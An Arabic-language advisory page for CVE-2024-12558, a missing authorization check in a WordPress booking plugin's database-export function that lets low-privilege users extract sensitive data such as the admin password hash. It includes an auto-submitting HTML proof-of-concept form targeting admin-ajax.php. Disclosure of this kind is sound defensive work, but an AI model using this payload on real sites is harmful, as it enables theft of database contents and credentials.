CVE-2024-12558

WP BASE Booking of Appointments, Services and Events <= 4.9.2 - غياب التحقق من الصلاحيات يؤدي إلى كشف معلومات حساسة للمستخدمين المصادَقين (بمستوى مشترك أو أعلى) عبر app_export_db

الوصف

إن إضافة WP BASE Booking of Appointments, Services and Events لووردبريس معرضة للوصول غير المصرح به إلى البيانات بسبب غياب فحص الصلاحيات في دالة export_db في جميع الإصدارات حتى 4.9.2 وما يشملها. وهذا يتيح للمهاجمين المصادَقين، بمستوى وصول المشترك (Subscriber) أو أعلى، كشف معلومات حساسة من قاعدة البيانات، مثل كلمة مرور المدير المُجزّأة.

التفاصيل

النوع: إضافة
Slug: wp-base-booking-of-appointments-services-and-events
الإصدار المتأثر: 4.9.2
درجة CVSS: 6.5
تقييم CVSS: متوسطة
متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CVE: CVE-2024-12558
الحالة: نشط

إثبات المفهوم

<html>
  <body>
    <form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php?action=app_export_db" method="POST">
      <input type="hidden" name="action" value="app&#95;export&#95;db" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

CVE-2024-12558

الأكثر شعبية

CVE-2024-12558

الوصف

التفاصيل

إثبات المفهوم